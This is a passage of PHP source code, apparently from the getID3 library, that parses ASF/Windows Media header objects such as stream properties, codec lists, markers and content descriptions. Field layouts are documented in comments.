					// Error Correction Data        BYTESTREAM   variable        // error-correction-specific format data, depending on value of Error Correct Type

					// There is one GETID3_ASF_Stream_Properties_Object for each stream (audio, video) but the
					// stream number isn't known until halfway through decoding the structure, hence it
					// it is decoded to a temporary variable and then stuck in the appropriate index later

					$StreamPropertiesObjectData['offset']             = $NextObjectOffset + $offset;
					$StreamPropertiesObjectData['objectid']           = $NextObjectGUID;
					$StreamPropertiesObjectData['objectid_guid']      = $NextObjectGUIDtext;
					$StreamPropertiesObjectData['objectsize']         = $NextObjectSize;
					$StreamPropertiesObjectData['stream_type']        = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$StreamPropertiesObjectData['stream_type_guid']   = $this->BytestringToGUID($StreamPropertiesObjectData['stream_type']);
					$StreamPropertiesObjectData['error_correct_type'] = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$StreamPropertiesObjectData['error_correct_guid'] = $this->BytestringToGUID($StreamPropertiesObjectData['error_correct_type']);
					$StreamPropertiesObjectData['time_offset']        = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$StreamPropertiesObjectData['type_data_length']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$StreamPropertiesObjectData['error_data_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$StreamPropertiesObjectData['flags_raw']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$StreamPropertiesObjectStreamNumber               = $StreamPropertiesObjectData['flags_raw'] & 0x007F;
					$StreamPropertiesObjectData['flags']['encrypted'] = (bool) ($StreamPropertiesObjectData['flags_raw'] & 0x8000);

					$offset += 4; // reserved - DWORD
					$StreamPropertiesObjectData['type_specific_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['type_data_length']);
					$offset += $StreamPropertiesObjectData['type_data_length'];
					$StreamPropertiesObjectData['error_correct_data'] = substr($ASFHeaderData, $offset, $StreamPropertiesObjectData['error_data_length']);
					$offset += $StreamPropertiesObjectData['error_data_length'];

					switch ($StreamPropertiesObjectData['stream_type']) {

						case GETID3_ASF_Audio_Media:
							$thisfile_audio['dataformat']   = (!empty($thisfile_audio['dataformat'])   ? $thisfile_audio['dataformat']   : 'asf');
							$thisfile_audio['bitrate_mode'] = (!empty($thisfile_audio['bitrate_mode']) ? $thisfile_audio['bitrate_mode'] : 'cbr');

							$audiodata = getid3_riff::parseWAVEFORMATex(substr($StreamPropertiesObjectData['type_specific_data'], 0, 16));
							unset($audiodata['raw']);
							$thisfile_audio = getid3_lib::array_merge_noclobber($audiodata, $thisfile_audio);
							break;

						case GETID3_ASF_Video_Media:
							$thisfile_video['dataformat']   = (!empty($thisfile_video['dataformat'])   ? $thisfile_video['dataformat']   : 'asf');
							$thisfile_video['bitrate_mode'] = (!empty($thisfile_video['bitrate_mode']) ? $thisfile_video['bitrate_mode'] : 'cbr');
							break;

						case GETID3_ASF_Command_Media:
						default:
							// do nothing
							break;

					}

					$thisfile_asf['stream_properties_object'][$StreamPropertiesObjectStreamNumber] = $StreamPropertiesObjectData;
					unset($StreamPropertiesObjectData); // clear for next stream, if any
					break;

				case GETID3_ASF_Header_Extension_Object:
					// Header Extension Object: (mandatory, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Header Extension object - GETID3_ASF_Header_Extension_Object
					// Object Size                  QWORD        64              // size of Header Extension object, including 46 bytes of Header Extension Object header
					// Reserved Field 1             GUID         128             // hardcoded: GETID3_ASF_Reserved_1
					// Reserved Field 2             WORD         16              // hardcoded: 0x00000006
					// Header Extension Data Size   DWORD        32              // in bytes. valid: 0, or > 24. equals object size minus 46
					// Header Extension Data        BYTESTREAM   variable        // array of zero or more extended header objects

					// shortcut
					$thisfile_asf['header_extension_object'] = array();
					$thisfile_asf_headerextensionobject      = &$thisfile_asf['header_extension_object'];

					$thisfile_asf_headerextensionobject['offset']              = $NextObjectOffset + $offset;
					$thisfile_asf_headerextensionobject['objectid']            = $NextObjectGUID;
					$thisfile_asf_headerextensionobject['objectid_guid']       = $NextObjectGUIDtext;
					$thisfile_asf_headerextensionobject['objectsize']          = $NextObjectSize;
					$thisfile_asf_headerextensionobject['reserved_1']          = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_headerextensionobject['reserved_1_guid']     = $this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']);
					if ($thisfile_asf_headerextensionobject['reserved_1'] != GETID3_ASF_Reserved_1) {
						$this->warning('header_extension_object.reserved_1 GUID ('.$this->BytestringToGUID($thisfile_asf_headerextensionobject['reserved_1']).') does not match expected "GETID3_ASF_Reserved_1" GUID ('.$this->BytestringToGUID(GETID3_ASF_Reserved_1).')');
						//return false;
						break;
					}
					$thisfile_asf_headerextensionobject['reserved_2']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					if ($thisfile_asf_headerextensionobject['reserved_2'] != 6) {
						$this->warning('header_extension_object.reserved_2 ('.$thisfile_asf_headerextensionobject['reserved_2'].') does not match expected value of "6"');
						//return false;
						break;
					}
					$thisfile_asf_headerextensionobject['extension_data_size'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_headerextensionobject['extension_data']      =                              substr($ASFHeaderData, $offset, $thisfile_asf_headerextensionobject['extension_data_size']);
					$unhandled_sections = 0;
					$thisfile_asf_headerextensionobject['extension_data_parsed'] = $this->HeaderExtensionObjectDataParse($thisfile_asf_headerextensionobject['extension_data'], $unhandled_sections);
					if ($unhandled_sections === 0) {
						unset($thisfile_asf_headerextensionobject['extension_data']);
					}
					$offset += $thisfile_asf_headerextensionobject['extension_data_size'];
					break;

				case GETID3_ASF_Codec_List_Object:
					// Codec List Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Codec List object - GETID3_ASF_Codec_List_Object
					// Object Size                  QWORD        64              // size of Codec List object, including 44 bytes of Codec List Object header
					// Reserved                     GUID         128             // hardcoded: 86D15241-311D-11D0-A3A4-00A0C90348F6
					// Codec Entries Count          DWORD        32              // number of entries in Codec Entries array
					// Codec Entries                array of:    variable        //
					// * Type                       WORD         16              // 0x0001 = Video Codec, 0x0002 = Audio Codec, 0xFFFF = Unknown Codec
					// * Codec Name Length          WORD         16              // number of Unicode characters stored in the Codec Name field
					// * Codec Name                 WCHAR        variable        // array of Unicode characters - name of codec used to create the content
					// * Codec Description Length   WORD         16              // number of Unicode characters stored in the Codec Description field
					// * Codec Description          WCHAR        variable        // array of Unicode characters - description of format used to create the content
					// * Codec Information Length   WORD         16              // number of Unicode characters stored in the Codec Information field
					// * Codec Information          BYTESTREAM   variable        // opaque array of information bytes about the codec used to create the content

					// shortcut
					$thisfile_asf['codec_list_object'] = array();
					/** @var mixed[] $thisfile_asf_codeclistobject */
					$thisfile_asf_codeclistobject      = &$thisfile_asf['codec_list_object'];

					$thisfile_asf_codeclistobject['offset']                    = $NextObjectOffset + $offset;
					$thisfile_asf_codeclistobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_codeclistobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_codeclistobject['objectsize']                = $NextObjectSize;
					$thisfile_asf_codeclistobject['reserved']                  = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_codeclistobject['reserved_guid']             = $this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']);
					if ($thisfile_asf_codeclistobject['reserved'] != $this->GUIDtoBytestring('86D15241-311D-11D0-A3A4-00A0C90348F6')) {
						$this->warning('codec_list_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {86D15241-311D-11D0-A3A4-00A0C90348F6}');
						//return false;
						break;
					}
					$thisfile_asf_codeclistobject['codec_entries_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					if ($thisfile_asf_codeclistobject['codec_entries_count'] > 0) {
						$thisfile_asf_codeclistobject['codec_entries'] = array();
					}
					$offset += 4;
					for ($CodecEntryCounter = 0; $CodecEntryCounter < $thisfile_asf_codeclistobject['codec_entries_count']; $CodecEntryCounter++) {
						// shortcut
						$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter] = array();
						$thisfile_asf_codeclistobject_codecentries_current = &$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter];

						$thisfile_asf_codeclistobject_codecentries_current['type_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['type'] = self::codecListObjectTypeLookup($thisfile_asf_codeclistobject_codecentries_current['type_raw']);

						$CodecNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['name'] = substr($ASFHeaderData, $offset, $CodecNameLength);
						$offset += $CodecNameLength;

						$CodecDescriptionLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['description'] = substr($ASFHeaderData, $offset, $CodecDescriptionLength);
						$offset += $CodecDescriptionLength;

						$CodecInformationLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_codeclistobject_codecentries_current['information'] = substr($ASFHeaderData, $offset, $CodecInformationLength);
						$offset += $CodecInformationLength;

						if ($thisfile_asf_codeclistobject_codecentries_current['type_raw'] == 2) { // audio codec

							if (strpos($thisfile_asf_codeclistobject_codecentries_current['description'], ',') === false) {
								$this->warning('[asf][codec_list_object][codec_entries]['.$CodecEntryCounter.'][description] expected to contain comma-separated list of parameters: "'.$thisfile_asf_codeclistobject_codecentries_current['description'].'"');
							} else {

								list($AudioCodecBitrate, $AudioCodecFrequency, $AudioCodecChannels) = explode(',', $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']));
								$thisfile_audio['codec'] = $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['name']);

								if (!isset($thisfile_audio['bitrate']) && strstr($AudioCodecBitrate, 'kbps')) {
									$thisfile_audio['bitrate'] = (int) trim(str_replace('kbps', '', $AudioCodecBitrate)) * 1000;
								}
								//if (!isset($thisfile_video['bitrate']) && isset($thisfile_audio['bitrate']) && isset($thisfile_asf['file_properties_object']['max_bitrate']) && ($thisfile_asf_codeclistobject['codec_entries_count'] > 1)) {
								if (empty($thisfile_video['bitrate']) && !empty($thisfile_audio['bitrate']) && !empty($info['bitrate'])) {
									//$thisfile_video['bitrate'] = $thisfile_asf['file_properties_object']['max_bitrate'] - $thisfile_audio['bitrate'];
									$thisfile_video['bitrate'] = $info['bitrate'] - $thisfile_audio['bitrate'];
								}

								$AudioCodecFrequency = (int) trim(str_replace('kHz', '', $AudioCodecFrequency));
								switch ($AudioCodecFrequency) {
									case 8:
									case 8000:
										$thisfile_audio['sample_rate'] = 8000;
										break;

									case 11:
									case 11025:
										$thisfile_audio['sample_rate'] = 11025;
										break;

									case 12:
									case 12000:
										$thisfile_audio['sample_rate'] = 12000;
										break;

									case 16:
									case 16000:
										$thisfile_audio['sample_rate'] = 16000;
										break;

									case 22:
									case 22050:
										$thisfile_audio['sample_rate'] = 22050;
										break;

									case 24:
									case 24000:
										$thisfile_audio['sample_rate'] = 24000;
										break;

									case 32:
									case 32000:
										$thisfile_audio['sample_rate'] = 32000;
										break;

									case 44:
									case 441000:
										$thisfile_audio['sample_rate'] = 44100;
										break;

									case 48:
									case 48000:
										$thisfile_audio['sample_rate'] = 48000;
										break;

									default:
										$this->warning('unknown frequency: "'.$AudioCodecFrequency.'" ('.$this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']).')');
										break;
								}

								if (!isset($thisfile_audio['channels'])) {
									if (strstr($AudioCodecChannels, 'stereo')) {
										$thisfile_audio['channels'] = 2;
									} elseif (strstr($AudioCodecChannels, 'mono')) {
										$thisfile_audio['channels'] = 1;
									}
								}

							}
						}
					}
					break;

				case GETID3_ASF_Script_Command_Object:
					// Script Command Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Script Command object - GETID3_ASF_Script_Command_Object
					// Object Size                  QWORD        64              // size of Script Command object, including 44 bytes of Script Command Object header
					// Reserved                     GUID         128             // hardcoded: 4B1ACBE3-100B-11D0-A39B-00A0C90348F6
					// Commands Count               WORD         16              // number of Commands structures in the Script Commands Objects
					// Command Types Count          WORD         16              // number of Command Types structures in the Script Commands Objects
					// Command Types                array of:    variable        //
					// * Command Type Name Length   WORD         16              // number of Unicode characters for Command Type Name
					// * Command Type Name          WCHAR        variable        // array of Unicode characters - name of a type of command
					// Commands                     array of:    variable        //
					// * Presentation Time          DWORD        32              // presentation time of that command, in milliseconds
					// * Type Index                 WORD         16              // type of this command, as a zero-based index into the array of Command Types of this object
					// * Command Name Length        WORD         16              // number of Unicode characters for Command Name
					// * Command Name               WCHAR        variable        // array of Unicode characters - name of this command

					// shortcut
					$thisfile_asf['script_command_object'] = array();
					$thisfile_asf_scriptcommandobject      = &$thisfile_asf['script_command_object'];

					$thisfile_asf_scriptcommandobject['offset']               = $NextObjectOffset + $offset;
					$thisfile_asf_scriptcommandobject['objectid']             = $NextObjectGUID;
					$thisfile_asf_scriptcommandobject['objectid_guid']        = $NextObjectGUIDtext;
					$thisfile_asf_scriptcommandobject['objectsize']           = $NextObjectSize;
					$thisfile_asf_scriptcommandobject['reserved']             = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_scriptcommandobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']);
					if ($thisfile_asf_scriptcommandobject['reserved'] != $this->GUIDtoBytestring('4B1ACBE3-100B-11D0-A39B-00A0C90348F6')) {
						$this->warning('script_command_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4B1ACBE3-100B-11D0-A39B-00A0C90348F6}');
						//return false;
						break;
					}
					$thisfile_asf_scriptcommandobject['commands_count']       = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_scriptcommandobject['command_types_count']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($CommandTypesCounter = 0; $CommandTypesCounter < $thisfile_asf_scriptcommandobject['command_types_count']; $CommandTypesCounter++) {
						$CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_scriptcommandobject['command_types'][$CommandTypesCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength);
						$offset += $CommandTypeNameLength;
					}
					for ($CommandsCounter = 0; $CommandsCounter < $thisfile_asf_scriptcommandobject['commands_count']; $CommandsCounter++) {
						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['presentation_time']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['type_index']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;

						$CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
						$offset += 2;
						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength);
						$offset += $CommandTypeNameLength;
					}
					break;

				case GETID3_ASF_Marker_Object:
					// Marker Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Marker object - GETID3_ASF_Marker_Object
					// Object Size                  QWORD        64              // size of Marker object, including 48 bytes of Marker Object header
					// Reserved                     GUID         128             // hardcoded: 4CFEDB20-75F6-11CF-9C0F-00A0C90349CB
					// Markers Count                DWORD        32              // number of Marker structures in Marker Object
					// Reserved                     WORD         16              // hardcoded: 0x0000
					// Name Length                  WORD         16              // number of bytes in the Name field
					// Name                         WCHAR        variable        // name of the Marker Object
					// Markers                      array of:    variable        //
					// * Offset                     QWORD        64              // byte offset into Data Object
					// * Presentation Time          QWORD        64              // in 100-nanosecond units
					// * Entry Length               WORD         16              // length in bytes of (Send Time + Flags + Marker Description Length + Marker Description + Padding)
					// * Send Time                  DWORD        32              // in milliseconds
					// * Flags                      DWORD        32              // hardcoded: 0x00000000
					// * Marker Description Length  DWORD        32              // number of bytes in Marker Description field
					// * Marker Description         WCHAR        variable        // array of Unicode characters - description of marker entry
					// * Padding                    BYTESTREAM   variable        // optional padding bytes

					// shortcut
					$thisfile_asf['marker_object'] = array();
					$thisfile_asf_markerobject     = &$thisfile_asf['marker_object'];

					$thisfile_asf_markerobject['offset']               = $NextObjectOffset + $offset;
					$thisfile_asf_markerobject['objectid']             = $NextObjectGUID;
					$thisfile_asf_markerobject['objectid_guid']        = $NextObjectGUIDtext;
					$thisfile_asf_markerobject['objectsize']           = $NextObjectSize;
					$thisfile_asf_markerobject['reserved']             = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_markerobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_markerobject['reserved']);
					if ($thisfile_asf_markerobject['reserved'] != $this->GUIDtoBytestring('4CFEDB20-75F6-11CF-9C0F-00A0C90349CB')) {
						$this->warning('marker_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_markerobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4CFEDB20-75F6-11CF-9C0F-00A0C90349CB}');
						break;
					}
					$thisfile_asf_markerobject['markers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_markerobject['reserved_2'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					if ($thisfile_asf_markerobject['reserved_2'] != 0) {
						$this->warning('marker_object.reserved_2 ('.$thisfile_asf_markerobject['reserved_2'].') does not match expected value of "0"');
						break;
					}
					$thisfile_asf_markerobject['name_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_markerobject['name'] = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['name_length']);
					$offset += $thisfile_asf_markerobject['name_length'];
					for ($MarkersCounter = 0; $MarkersCounter < $thisfile_asf_markerobject['markers_count']; $MarkersCounter++) {
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['offset']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
						$offset += 8;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['presentation_time']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
						$offset += 8;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length']              = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['send_time']                 = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['flags']                     = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
						$offset += 4;
						$thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description']        = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']);
						$offset += $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'];
						$PaddingLength = $thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length'] - 4 -  4 - 4 - $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'];
						if ($PaddingLength > 0) {
							$thisfile_asf_markerobject['markers'][$MarkersCounter]['padding']               = substr($ASFHeaderData, $offset, $PaddingLength);
							$offset += $PaddingLength;
						}
					}
					break;

				case GETID3_ASF_Bitrate_Mutual_Exclusion_Object:
					// Bitrate Mutual Exclusion Object: (optional)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Bitrate Mutual Exclusion object - GETID3_ASF_Bitrate_Mutual_Exclusion_Object
					// Object Size                  QWORD        64              // size of Bitrate Mutual Exclusion object, including 42 bytes of Bitrate Mutual Exclusion Object header
					// Exlusion Type                GUID         128             // nature of mutual exclusion relationship. one of: (GETID3_ASF_Mutex_Bitrate, GETID3_ASF_Mutex_Unknown)
					// Stream Numbers Count         WORD         16              // number of video streams
					// Stream Numbers               WORD         variable        // array of mutually exclusive video stream numbers. 1 <= valid <= 127

					// shortcut
					$thisfile_asf['bitrate_mutual_exclusion_object'] = array();
					$thisfile_asf_bitratemutualexclusionobject       = &$thisfile_asf['bitrate_mutual_exclusion_object'];

					$thisfile_asf_bitratemutualexclusionobject['offset']               = $NextObjectOffset + $offset;
					$thisfile_asf_bitratemutualexclusionobject['objectid']             = $NextObjectGUID;
					$thisfile_asf_bitratemutualexclusionobject['objectid_guid']        = $NextObjectGUIDtext;
					$thisfile_asf_bitratemutualexclusionobject['objectsize']           = $NextObjectSize;
					$thisfile_asf_bitratemutualexclusionobject['reserved']             = substr($ASFHeaderData, $offset, 16);
					$thisfile_asf_bitratemutualexclusionobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']);
					$offset += 16;
					if (($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Bitrate) && ($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Unknown)) {
						$this->warning('bitrate_mutual_exclusion_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']).'} does not match expected "GETID3_ASF_Mutex_Bitrate" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Bitrate).'} or  "GETID3_ASF_Mutex_Unknown" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Unknown).'}');
						//return false;
						break;
					}
					$thisfile_asf_bitratemutualexclusionobject['stream_numbers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					for ($StreamNumberCounter = 0; $StreamNumberCounter < $thisfile_asf_bitratemutualexclusionobject['stream_numbers_count']; $StreamNumberCounter++) {
						$thisfile_asf_bitratemutualexclusionobject['stream_numbers'][$StreamNumberCounter] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
						$offset += 2;
					}
					break;

				case GETID3_ASF_Error_Correction_Object:
					// Error Correction Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Error Correction object - GETID3_ASF_Error_Correction_Object
					// Object Size                  QWORD        64              // size of Error Correction object, including 44 bytes of Error Correction Object header
					// Error Correction Type        GUID         128             // type of error correction. one of: (GETID3_ASF_No_Error_Correction, GETID3_ASF_Audio_Spread)
					// Error Correction Data Length DWORD        32              // number of bytes in Error Correction Data field
					// Error Correction Data        BYTESTREAM   variable        // structure depends on value of Error Correction Type field

					// shortcut
					$thisfile_asf['error_correction_object'] = array();
					$thisfile_asf_errorcorrectionobject      = &$thisfile_asf['error_correction_object'];

					$thisfile_asf_errorcorrectionobject['offset']                = $NextObjectOffset + $offset;
					$thisfile_asf_errorcorrectionobject['objectid']              = $NextObjectGUID;
					$thisfile_asf_errorcorrectionobject['objectid_guid']         = $NextObjectGUIDtext;
					$thisfile_asf_errorcorrectionobject['objectsize']            = $NextObjectSize;
					$thisfile_asf_errorcorrectionobject['error_correction_type'] = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_errorcorrectionobject['error_correction_guid'] = $this->BytestringToGUID($thisfile_asf_errorcorrectionobject['error_correction_type']);
					$thisfile_asf_errorcorrectionobject['error_correction_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					switch ($thisfile_asf_errorcorrectionobject['error_correction_type']) {
						case GETID3_ASF_No_Error_Correction:
							// should be no data, but just in case there is, skip to the end of the field
							$offset += $thisfile_asf_errorcorrectionobject['error_correction_data_length'];
							break;

						case GETID3_ASF_Audio_Spread:
							// Field Name                   Field Type   Size (bits)
							// Span                         BYTE         8               // number of packets over which audio will be spread.
							// Virtual Packet Length        WORD         16              // size of largest audio payload found in audio stream
							// Virtual Chunk Length         WORD         16              // size of largest audio payload found in audio stream
							// Silence Data Length          WORD         16              // number of bytes in Silence Data field
							// Silence Data                 BYTESTREAM   variable        // hardcoded: 0x00 * (Silence Data Length) bytes

							$thisfile_asf_errorcorrectionobject['span']                  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 1));
							$offset += 1;
							$thisfile_asf_errorcorrectionobject['virtual_packet_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
							$offset += 2;
							$thisfile_asf_errorcorrectionobject['virtual_chunk_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
							$offset += 2;
							$thisfile_asf_errorcorrectionobject['silence_data_length']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
							$offset += 2;
							$thisfile_asf_errorcorrectionobject['silence_data']          = substr($ASFHeaderData, $offset, $thisfile_asf_errorcorrectionobject['silence_data_length']);
							$offset += $thisfile_asf_errorcorrectionobject['silence_data_length'];
							break;

						default:
							$this->warning('error_correction_object.error_correction_type GUID {'.$this->BytestringToGUID($thisfile_asf_errorcorrectionobject['error_correction_type']).'} does not match expected "GETID3_ASF_No_Error_Correction" GUID {'.$this->BytestringToGUID(GETID3_ASF_No_Error_Correction).'} or  "GETID3_ASF_Audio_Spread" GUID {'.$this->BytestringToGUID(GETID3_ASF_Audio_Spread).'}');
							//return false;
							break;
					}

					break;

				case GETID3_ASF_Content_Description_Object:
					// Content Description Object: (optional, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for Content Description object - GETID3_ASF_Content_Description_Object
					// Object Size                  QWORD        64              // size of Content Description object, including 34 bytes of Content Description Object header
					// Title Length                 WORD         16              // number of bytes in Title field
					// Author Length                WORD         16              // number of bytes in Author field
					// Copyright Length             WORD         16              // number of bytes in Copyright field
					// Description Length           WORD         16              // number of bytes in Description field
					// Rating Length                WORD         16              // number of bytes in Rating field
					// Title                        WCHAR        16              // array of Unicode characters - Title
					// Author                       WCHAR        16              // array of Unicode characters - Author
					// Copyright                    WCHAR        16              // array of Unicode characters - Copyright
					// Description                  WCHAR        16              // array of Unicode characters - Description
					// Rating                       WCHAR        16              // array of Unicode characters - Rating

					// shortcut
					$thisfile_asf['content_description_object'] = array();
					$thisfile_asf_contentdescriptionobject      = &$thisfile_asf['content_description_object'];

					$thisfile_asf_contentdescriptionobject['offset']                = $NextObjectOffset + $offset;
					$thisfile_asf_contentdescriptionobject['objectid']              = $NextObjectGUID;
					$thisfile_asf_contentdescriptionobject['objectid_guid']         = $NextObjectGUIDtext;
					$thisfile_asf_contentdescriptionobject['objectsize']            = $NextObjectSize;
					$thisfile_asf_contentdescriptionobject['title_length']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['author_length']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['copyright_length']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['description_length']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['rating_length']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
					$offset += 2;
					$thisfile_asf_contentdescriptionobject['title']                 = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['title_length']);
					$offset += $thisfile_asf_contentdescriptionobject['title_length'];
					$thisfile_asf_contentdescriptionobject['author']                = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['author_length']);
					$offset += $thisfile_asf_contentdescriptionobject['author_length'];
					$thisfile_asf_contentdescriptionobject['copyright']             = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['copyright_length']);
					$offset += $thisfile_asf_contentdescriptionobject['copyright_length'];
					$thisfile_asf_contentdescriptionobject['description']           = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['description_length']);
					$offset += $thisfile_asf_contentdescriptionobject['description_length'];
					$thisfile_asf_contentdescriptionobject['rating']                = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['rating_length']);
					$offset += $thisfile_asf_contentdescriptionobject['rating_length'];

					$ASFcommentKeysToCopy = array('title'=>'title', 'author'=>'artist', 'copyright'=>'copyright', 'description'=>'comment', 'rating'=>'rating');
					foreach ($ASFcommentKeysToCopy as $keytocopyfrom => $keytocopyto) {
						if (!empty($thisfile_asf_contentdescriptionobject[$keytocopyfrom])) {
							$thisfile_asf_comments[$keytocopyto][] = $this->TrimTerm($thisfile_asf_contentdescriptionobject[$keytocopyfrom]);
						}
					}
					break;

				case GETID3_ASF_Extended_Content_Description_Object:
